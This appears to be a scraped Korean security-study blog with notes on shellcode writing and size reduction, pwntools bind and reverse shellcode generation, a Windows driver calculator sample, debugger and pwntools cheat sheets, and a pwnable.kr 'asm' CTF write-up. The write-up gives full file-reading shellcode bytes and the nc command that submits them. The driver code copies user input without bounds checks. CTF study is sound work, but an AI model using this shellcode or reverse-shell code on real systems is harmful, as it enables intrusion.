Return to shellcode

=> Return address 영역에 Shellcode가 저장된 주소로 변경해, shellcode를 호출하는 방식


Call <Operation> ;

PUSH ReturnAddress

JMP <Operation>


RET  ;

POP RIP

JMP RIP


shellcode를 실행하기 위해서는 Shellcode 저장영역에 execute 권한 설정이 필요


DEP 해제 => gcc 옵션으로 -z execstack 을 추가



'Pwnable > PWNABLE 끄적끄적' 카테고리의 다른 글

2019.01.19  (0) 2019.01.19
2019.01.15  (0) 2019.01.15
2019.01.10  (0) 2019.01.10

Assembly Code 

section .data(문자열과 개행문자...); 데이터 세그먼트

section .text(ELF 링킹을 위한 초기 엔트리 포인트); 텍스트 세그먼트


assembly 파일 => ELF 바이너리

32bit 기준

nasm -f elf 만든파일.asm

ld -m elf_i386 -o 만들파일명 만든파일.o


64bit 기준

nasm -f elf64 만든파일.asm

ld -o 만들파일 만든파일.o


Shell Code Null Remove

- jmp 명령어를 사용해 helloworld 함수를 지나 last 함수로 이동

(즉 jmp 부분에서 콜하는 부분을 -로 표현하여 null 값을 없애준다)


레지스터 값 초기화

- sub는 OF,SF,ZF,AF,PF,CF flag, xor은 OF,CF가 지워지고 SF,ZF,PF는 설정되기 때문에

flag에 덜 영향을 주는 xor을 사용하여 초기화 하는것이 더 좋다


C언어 Shell 코드 실행 함수

execl, execlp, execle, execv, execvp, execve


uid 와 euid의 차이

uid는 실행하는 유저의 id, euid는 실행 될 때 유저의 id


/bin/sh을 push로 표현

/sh 문자앞에 / 를 추가하여 Null Byte 제거


쉘코드 길이 줄이기

CDQ(Convert Doubleword to Quadword) instruction

EAX에 저장된 부호값에 따라 EDX에 저장( 양수(SF=0)이면 0x00000000, 음수(SF=1)이면 0xFFFFFFFF)

=> 쉘코드 길이 XOR 보다 1바이트 줄인다


PUSH,POP 명령어를 이용

xor eax,eax;   31 C0 =>     push byte+0xb;   6A 0B

mov al,0xb;   B0 0B =>     pop eax;             58

:1byte 줄이기


execve 줄이기

execve의 두번째 인자를 NULL 로 사용가능.


xchg Instruction

해당 명령어는 두 피연산자가 가지고 있는 값을 서로 교환하는 명령

Reverse ShellCode

Bind Shellcode 는 공격대상에 Server 형태로 Port를 오픈해 클라이언트가 접속하는 방식

Reverse Shellcode는 Port를 열어서 연결을 기다리는 대신 공격자가 ip,port로 연결합니다


연산 레지스터 : ecx


CMP 명령어 대신 DEC 명령어로 코드길이를 줄인다.


PwnTools 

shellcraft 모듈을 제공

run_assembly()함수로 shellcode 실행

>>> shellcode = shellcraft.i386.linux.sh()

>>> p = run_assembly(shellcode)


bindsh()함수로 bind shellcode 생성

>>> from pwn import *

>>> shellcode = shellcraft.amd64.linux.bindsh(2345, 'ipv4')

>>> p = run_assembly(shellcode,arch='amd64')

>>> p.wait_for_close()


Reverse Shellcode

connect 함수로 네트워크 연결에 필요한 소켓을 생성 및 host에 연결하는 shellcode 생성

findpeersh()함수를 이용해 connect 함수에 의해 생성된 소켓에 표준 스트림을 복제

>>> from pwn import *

>>> assembly  = shellcraft.i386.linux.connect('localhost', 2345, 'ipv4')

>>> assembly += shellcraft.i386.linux.findpeersh(2345)





'Pwnable > PWNABLE 끄적끄적' 카테고리의 다른 글

2019.01.19  (0) 2019.01.19
2019.01.15  (0) 2019.01.15
2019.01.10  (0) 2019.01.10

유저  


#include <stdio.h>

#include <Windows.h>

#include <conio.h>


#define IOCTL_TEST CTL_CODE(FILE_DEVICE_UNKNOWN,0x4000,METHOD_NEITHER,FILE_ANY_ACCESS)



int main(void)

{

    HANDLE dHandle;

    WCHAR DeviceLink[] = L"\\\\.\\sanggamja";

    DWORD dwRet;

    char send[] = "10*100";

    char buf[100] = { 0 };


    dHandle = CreateFileW(

        DeviceLink,

        GENERIC_READ | GENERIC_WRITE,

        0,

        NULL,

        OPEN_EXISTING,

        FILE_ATTRIBUTE_NORMAL,

        NULL

        );


    if (dHandle == INVALID_HANDLE_VALUE)

    {

        printf("Get Device Handle Fail! : 0x%X \n", GetLastError());

        getchar();

        return 1;

    }


    if (!DeviceIoControl(dHandle, IOCTL_TEST, (LPVOID)buf, sizeof(buf), send, sizeof(send), &dwRet, 0))

    {

        printf("DeviceIOControl Fail! \n");

        getchar();

        CloseHandle(dHandle);

        return 1;

    }

    printf("result = %s\n", buf);

    getchar();

    CloseHandle(dHandle);


    return 0;

}



커널  


#define _CRT_SECURE_NO_WARNINGS


#include <ntddk.h>

#include <string.h>

#include <stdio.h>



#define LINK_NAME L"\\DosDevices\\sanggamja"

#define DEVICE_NAME L"\\DEVICE\\test"

#define IOCTL_TEST CTL_CODE(FILE_DEVICE_UNKNOWN,0x4000,METHOD_NEITHER,FILE_ANY_ACCESS)



PDEVICE_OBJECT MyDevice;

UNICODE_STRING DeviceLink;

UNICODE_STRING DeviceName;


NTSTATUS MyIOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP irp)

{

    PIO_STACK_LOCATION pStack;

    NTSTATUS returnStatus = STATUS_SUCCESS;

    ULONG ControlCode;

    PCHAR Output;

    PVOID Input;


    ULONG val1;

    ULONG val2;

    ULONG val3;

    CHAR Ind3 = {1};


    int i;

    int j = 0;

    int num1;

    int num2;

    int op = 0;


    char cal[100] = { 0, };

    char Ind2[100] = { 0, };

    char Ind1[100] = { 0, };

    char plus; 

    char min;

    char mul;

    char divi;

    char vi[] = { 0, };



    pStack = IoGetCurrentIrpStackLocation(irp);

    ControlCode = pStack->Parameters.DeviceIoControl.IoControlCode;


    switch (ControlCode)

    {

    case IOCTL_TEST: 

        Input = irp->UserBuffer;

        Output = pStack->Parameters.DeviceIoControl.Type3InputBuffer;

        RtlCopyMemory(&cal, Input, strlen(irp->UserBuffer));

        for (i = 0; i < strlen(cal)+1; i++)

        {

            memcpy(&plus, "+", 1);

            memcpy(&min, "-", 1);

            memcpy(&mul, "*", 1);

            memcpy(&divi, "/", 1);

            if (!(strncmp(&plus, &cal[i], 1)))

            {

                op = 1;

                memcpy(&Ind1, &cal[0], i);      

                memcpy(&Ind2, &cal[i+1], strlen(cal)-(i+1));

            }

            else if (!(strncmp(&min, &cal[i], 1)))

            {

                op = 2;

                memcpy(&Ind1, &cal[0], i);

                memcpy(&Ind2, &cal[i + 1], strlen(cal) - (i + 1));

            }

            else if (!(strncmp(&mul, &cal[i], 1)))

            {

                op = 3;

                memcpy(&Ind1, &cal[0], i);

                memcpy(&Ind2, &cal[i + 1], strlen(cal) - (i + 1));

            }

            else if (!(strncmp(&divi, &cal[i], 1)))

            {

                op = 4;

                memcpy(&Ind1, &cal[0], i);

                memcpy(&Ind2, &cal[i + 1], strlen(cal) - (i + 1));

            }

        }

        RtlCharToInteger(Ind1, 10, &val1);

        RtlCharToInteger(Ind2, 10, &val2);


        if (op == 1){ val3 = val1 + val2; }

        else if (op == 2){ val3 = val1 - val2; }

        else if (op == 3){ val3 = val1 * val2; }

        else if (op == 4){ val3 = val1 / val2; }


        sprintf(vi, "%lu", val3);


        memcpy(Output, &vi, strlen(vi));

    }

    irp->IoStatus.Status = STATUS_SUCCESS;

    irp->IoStatus.Information = sizeof(Output);

    IoCompleteRequest(irp, IO_NO_INCREMENT);

    return returnStatus;

}


NTSTATUS Create_Handler(IN PDEVICE_OBJECT DeviceObject, IN PIRP irp)

{

    irp->IoStatus.Status = STATUS_SUCCESS;

    IoCompleteRequest(irp, IO_NO_INCREMENT);


    return STATUS_SUCCESS;

}


VOID OnUnload(IN PDRIVER_OBJECT DriverObject)

{

    IoDeleteDevice(MyDevice);

    IoDeleteSymbolicLink(&DeviceLink);

    DbgPrint("OnUnload Call! \n");

}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)

{

    NTSTATUS returnStatus = STATUS_SUCCESS;


    RtlInitUnicodeString(&DeviceLink, LINK_NAME);

    RtlInitUnicodeString(&DeviceName, DEVICE_NAME);


    returnStatus = IoCreateDevice(

        DriverObject,

        0,

        &DeviceName,

        FILE_DEVICE_UNKNOWN,

        FILE_DEVICE_SECURE_OPEN,

        FALSE,

        &MyDevice

        );


    if (!NT_SUCCESS(returnStatus))

    {

        DbgPrint("IoCreateDevice Fail! \n");

        return returnStatus;

    }

    DbgPrint("Success IoCreateSymbilicLinck \n");


    returnStatus = IoCreateSymbolicLink(&DeviceLink, &DeviceName);

    if (!NT_SUCCESS(returnStatus))

    {

        return returnStatus;

    }


    DriverObject-> DriverUnload = OnUnload;

    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyIOControl;

    DriverObject->MajorFunction[IRP_MJ_CREATE] = Create_Handler;


    return returnStatus;

}



귀찮아서 뺄셈과 나눗셈 처리는 제대로 하지 않았지만 그 틀과 함수의 사용법에 유의하면 만들수 있을 것 이다.

'Window_Hacking' 카테고리의 다른 글

Windbg 명령어  (0) 2018.09.11

q : 종료

.restart : 재시작

g : run

dd 원하는 위치 : 메모리 덤브

r : 레지스터 값 확인

dds : 메모리의 내용과 심벌을 일치시켜 보여준다.

r 원하는레지스터이름 = 값 : 레지스터 값 변경

e[옵션] 주소 : 특정 주소에 원하는 값 삽입

n 진수 : 현재 보여주는 숫자의 진수 바꾸기

dpa 레지스터 :메모리가 참조하고 있는 데이터 보기

a 위치 어셈블 코드 : 특정 주소에 어셈블 코드 삽입

kb : 콜스택 보기

.dump /f 경로~.dmp : 덤프 생성

db : byte형식 + 아스키로 표시

k : 콜스택 보기

bp 주소 : 브레이크 포인트


'Window_Hacking' 카테고리의 다른 글

Windows device driver 계산기  (0) 2018.09.26

1. 연결


NC :  p = remote("IP", PORT)

SSH : p = ssh( "id", " pwnable.kr", port= 포트번호",  password = "비밀번호")

Local : p = process(["사용하고자 하는 파일 위치"])



2. 송수신


p.recv() : 데이터를 받는다

p.recv(숫자) : 숫자만큼 데이터를 받는다

p.recvuntil("str") : str , 즉 문자열이 나올때 까지 받는다

p.recvline() :  한줄 받아온다.


p.sendline("str") : 문자열을 보낸다.

p.sendlineafter : 데이터를 받으면서 보낸다


pwnable.kr tiny_easy에서 사용 할 수 있는 process 에서 환경변수 삽입 

argv[0]를 실행시킬떄 원하는 값으로 수정할 수 있는 방법

예시 ) s1 = s.process(['\xb0\xaf\xb5\xff'],executable = '/home/tiny_easy/tiny_easy', env = k)


'Pwnable' 카테고리의 다른 글

Format-string bug  (0) 2019.06.20
FMbug  (0) 2018.08.26

BOB를 진행하면서 만든 Pwn 문제를 올려봅니다.

힌트는 포맷 스트링 버그입니다.




FMbug


'Pwnable' 카테고리의 다른 글

Format-string bug  (0) 2019.06.20
Pwntools  (0) 2018.08.28

Pwnable.kr ASM

우선 asm파일과 asm.c 파일 그리고 플래그 this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong파일, readme파일이 있습니다. 이때 우리는 긴 플래그 파일을 열어야합니다. 우리는 asm을 실행해본다면 read, write, open 함수를 사용하여 64bit 쉘코드를 입력하라고 한다. 따라서 우리는 먼저 어떻게 어셈으로 코딩할지 c로 짜보고 코딩해보자.

#include <string.h>
#include <unistd.h>
#include <fcntl.h>
int main()
{
	int fd;
	char buf[1024];
fd = open("./this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", O_RDONLY);
	read(fd, buf, 1024);
	write(1, buf, 1024);
//	puts(buf);
	return ;
	
}

이런식의 c언어를 어셈블리로 짜보자 우선 python 소스를 짜서 긴 flag 파일을 넣어줄 수 있게 little endian 방식으로 만들어 주어야 한다. 또 우리는 x64소스를 짜는 데 x64는 mov 만 16bit를 넣어줄 수 있기 때문에 넣을 값을 rax값에 넣고 rax를 push 하는 방식으로 사용해야 한다.

먼저 python 소스를 보자

a = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong".encode("hex")
b=[]
c=[]
for i in range(0,len(a)/2+1):
    b.append(a[i*2:i*2+2])
    #b[i] = "\\x"+b[i]
    
b.reverse()
#print(b)

for j in range(0,len(b)/8):
    c.append(b[j*8]+b[j*8+1]+b[j*8+2]+b[j*8+3]+b[j*8+4]+b[j*8+5]+b[j*8+6]+b[j*8+7])
h=0
for k in c:
    print "mov rax, 0x"+k
    print "push rax"

이 파이썬을 돌리면 우리는 넣을 수 있는 코드를 만들 수 있다.

section .data
section .bss
buf: resb 4
section .text

global _start

_start:
	push rbp
	mov rbp, rsp
	mov rax, 0x676e6f306f306f30
	push rax
	mov rax, 0x6f306f306f306f30
	push rax
	mov rax, 0x3030303030303030
	push rax
	mov rax, 0x3030306f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f303030303030
	push rax
	mov rax, 0x3030303030303030
	push rax
	mov rax, 0x3030303030303030
	push rax
	mov rax, 0x3030306f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6f
	push rax
	mov rax, 0x6f6f6f6f6f6f6f6c
	push rax
	mov rax, 0x5f797265765f7369
	push rax
	mov rax, 0x5f656d616e5f656c
	push rax
	mov rax, 0x69665f6568745f79
	push rax
	mov rax, 0x72726f732e656c69
	push rax
	mov rax, 0x665f736968745f64
	push rax
	mov rax, 0x6165725f65736165
	push rax
	mov rax, 0x6c705f656c69665f
	push rax
	mov rax, 0x67616c665f726b2e
	push rax
	mov rax, 0x656c62616e77705f
	push rax

	mov rdx, 0x0
	mov rsi, 0x0
	mov rdi, rsp
	mov rax, 2
	syscall	

	mov rdi, rax
	mov rsi, buf
	mov rdx, 100
	mov rax, 0
	syscall

	mov rdi, 1
	mov rsi, buf
	mov rdx, 100
	mov rax, 1
	syscall 	

이렇게 만들어 주면 우리는 read, write, open을 사용하여 로컬 환경에서 flag를 띄워 줄 수 있는 어셈 소스를 만들었다. 그렇다면 우리는 이 환경이 아닌 pwnable에서 가능한 어셈을 만들어 주어야 한다.

이것을 우리는 기계어로 바꾸어 주어야 한다. 다른 문제에서는 null 값을 제거 해주어야 하지만 이 문제에서는 null을 신경안써도 된다.

위의 코드는 로컬환경에서 만든 소스이기 때문에 buf 값을 우리가 정해서 사용했지만 실제 코드를 실행시키기 위해서는 c 파일에 있는 char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);에서 할당된 영역안으로 넣어주어야 한다.

따라서 우리는

section .data
section .bss
buf: resb 4
section .text

global _start

_start:
mov rax, 0x676e6f306f306f
push rax
mov rax, 0x306f306f306f306f
push rax
mov rax, 0x3030303030303030
push rax
mov rax, 0x303030306f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f3030303030
push rax
mov rax, 0x3030303030303030
push rax
mov rax, 0x3030303030303030
push rax
mov rax, 0x303030306f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6f6f6f6f6f6f6f6f
push rax
mov rax, 0x6c5f797265765f73
push rax
mov rax, 0x695f656d616e5f65
push rax
mov rax, 0x6c69665f6568745f
push rax
mov rax, 0x7972726f732e656c
push rax
mov rax, 0x69665f736968745f
push rax
mov rax, 0x646165725f657361
push rax
mov rax, 0x656c705f656c6966
push rax
mov rax, 0x5f67616c665f726b
push rax
mov rax, 0x2e656c62616e7770
push rax
mov rax, 0x5f73695f73696874
push rax
mov rdx, 0x0
mov rsi, 0x0
mov rdi, rsp
mov rax, 2
syscall	

mov rdi, rax
mov rsi, 0x41414800
mov rdx, 100
mov rax, 0
syscall

mov rdi, 1
mov rsi, 0x41414800
mov rdx, 100
mov rax, 1
syscall

위의 소스로 쉘코드를 만들어 주면 된다.

objdump -D ‘실행파일명’ 을 뽑아내어 쉘코드를 하나하나 숫자를 이어붙여도 되지만 편하게 하기위해서 https://defuse.ca/online-x86-assembler.htm 이곳에서 위의 소스를 붙여넣어주면 우리는 쉘코드를 획득할 수 있다.

그렇게 변환시켜주게 되면 나온 소스를 pwnable 서버에 파이썬 소스를 만들어 실행시켜주어야 한다.

a = "\x48\xB8\x6F\x30\x6F\x30\x6F\x6E\x67\x00\x50\x48\xB8\x6F\x30\x6F\x30\x6F\x30\x6F\x30\x50\x48\xB8\x30\x30\x30\x30\x30\x30\x30\x30\x50\x48\xB8\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x30\x30\x30\x30\x30\x6F\x6F\x6F\x50\x48\xB8\x30\x30\x30\x30\x30\x30\x30\x30\x50\x48\xB8\x30\x30\x30\x30\x30\x30\x30\x30\x50\x48\xB8\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x73\x5F\x76\x65\x72\x79\x5F\x6C\x50\x48\xB8\x65\x5F\x6E\x61\x6D\x65\x5F\x69\x50\x48\xB8\x5F\x74\x68\x65\x5F\x66\x69\x6C\x50\x48\xB8\x6C\x65\x2E\x73\x6F\x72\x72\x79\x50\x48\xB8\x5F\x74\x68\x69\x73\x5F\x66\x69\x50\x48\xB8\x61\x73\x65\x5F\x72\x65\x61\x64\x50\x48\xB8\x66\x69\x6C\x65\x5F\x70\x6C\x65\x50\x48\xB8\x6B\x72\x5F\x66\x6C\x61\x67\x5F\x50\x48\xB8\x70\x77\x6E\x61\x62\x6C\x65\x2E\x50\x48\xB8\x74\x68\x69\x73\x5F\x69\x73\x5F\x50\x48\xC7\xC2\x00\x00\x00\x00\x48\xC7\xC6\x00\x00\x00\x00\x48\x89\xE7\x48\xC7\xC0\x02\x00\x00\x00\x0F\x05\x48\x89\xC7\x48\xC7\xC6\x00\x48\x41\x41\x48\xC7\xC2\x64\x00\x00\x00\x48\xC7\xC0\x00\x00\x00\x00\x0F\x05\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC6\x00\x48\x41\x41\x48\xC7\xC2\x64\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05"

import sys

sys.stdout.write(a)

이렇게 만든 파이썬 소스를 tmp폴더에 자신만의 다른 폴더를 만들고 소스를 넣어주고 난 후에 asm에 돌리면 fake flag라고 뜬다. 그래서 readme 파일을 만들어보면 nc 0 9026으로 보내주라고 나온다.

따라서 우리는 python /tmp/자신이만든 폴더/만든 소스.py | nc 0 9026 을 입력해 주면 우리가 원하는 플래그가 나온다.

'Pwnable > Pwnable.kr' 카테고리의 다른 글

pwnable.kr 4번 [flag]  (0) 2018.04.14
pwnable.kr 3번 [bof]  (0) 2018.04.13
pwnable.kr 2번 [collision]  (0) 2018.04.12
pwnable.kr 1번 [fd]  (0) 2018.04.10

정보보안기사 11회 실기를 보고 왔습니다.

굉장히 어렵다는 실기를 보고 왔는데 역시 생각대로 단답형과 서술형, 작업형 모두 직접 써내려 가야한다는 점이 어렵게 느껴졌는데요

하지만 역시나 기출을 중심으로 보면 그 흐름과 유형이 보입니다.

상당히 어렵지만 누구나 할수 있다는 점이 다시한번 증명되었습니다.

다들 인터넷에서 학원을 다니지 않으면 어렵다느니 무조건 배워야 한다는 소리는 안믿으셔도 될 것 같습니다.

저는 5일 공부를 하고 실기시험을 봤는데 합격을 하기는 어려울 것 같습니다만 한 넉넉히 2주를 잡으시면 충분할 것 같습니다,

'정보보안기사 > 정보보안기사 실기' 카테고리의 다른 글

재난 복구  (0) 2018.05.24
위험 구성요소  (0) 2018.05.24
SSL VPN  (0) 2018.05.24
ISMS 정보보호 관리체계  (0) 2018.05.24
위험관리 및 분석  (0) 2018.05.24

+ Recent posts